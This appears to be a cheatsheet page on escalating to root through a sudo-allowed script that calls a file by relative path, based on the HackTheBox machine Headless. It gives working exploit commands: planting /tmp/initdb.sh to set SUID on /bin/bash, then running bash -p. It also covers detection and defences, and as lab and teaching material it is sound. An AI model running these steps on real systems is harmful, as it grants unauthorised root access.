Relative path in a sudo script (the cwd)
Full command arsenal in the cheatsheetA privileged script that invokes a file relative to the working directory (./initdb.sh, lib/helper.py, ../bin/tool) does not look for it in any fixed place: it looks where we are. And sudo does not change the working directory, so the process running as root inherits the cwd of whoever launched it. Whoever picks the directory picks the file.
It is the cousin of PATH hijacking and the two are worth keeping apart, because the defences differ: there you poison an environment variable, here the cwd. Defaults env_reset and secure_path stop the first and do nothing about the second. On headless both directives are set, PATH hijacking is off the table from the start, and the escalation works anyway.
Finding the relative call#
You read the allowed script and look at every invocation. What matters is not what is right, it is the exception:
sudo -lUser user may run the following commands on host: (ALL) NOPASSWD: /usr/bin/syscheck
cat /usr/bin/syscheckOn headless the script's author had been careful: find, sort, tail, date, echo, df, awk, uptime and pgrep all carried absolute paths. And on the last line, ./initdb.sh. One is enough. For a compiled binary, the same search is done with strings and ltrace:
strings /usr/bin/program | grep -E '^\./|^[a-z0-9_-]+\.(sh|py|conf)$'
ltrace -f /usr/bin/program 2>&1 | grep -iE 'open|exec|system'The abuse#
You write the file into a directory of yours and launch sudo from there:
cd /tmp
echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
bash -pIt is also worth checking the condition guarding the call, because sometimes it guards nothing: the headless script only ran ./initdb.sh if pgrep -x "initdb.sh" found no such process, and since there is never a process named exactly that, the branch always fires.
Requirements#
A script or binary runnable with privileges (a sudo rule, a cron job, a SUID binary) that references a file by relative path, plus the ability to choose the directory it is invoked from. With sudo the latter is free. If the relative call is guarded by a condition that genuinely holds, you have to satisfy it first.
How to detect it. sudo logs the working directory, and that is the signature: the /var/log/auth.log line carries a PWD= next to the COMMAND=, so a maintenance script invoked with PWD=/tmp or PWD=/dev/shm instead of from its own directory is anomalous on its own, with no need to know anything about the script. On the host, auditd/Sysmon for Linux see the execve of a file in a user-writable path (/tmp/initdb.sh) with the privileged script's ppid, followed by the usual chmod +s /bin/bash or sh -p. At rest, the review is reading the scripts granted by sudoers looking for ./ and bare names.
Defence. Absolute paths for everything, including the one on the last line, which is where they slip in. If the script has to work alongside its own files, have it set the directory itself on startup (cd "$(dirname "$(readlink -f "$0")")" before any call) instead of trusting the cwd it is handed. And do not assume secure_path covers this: it hardens the PATH, not the working directory.
Machines where it's used
- HeadlessHackTheBox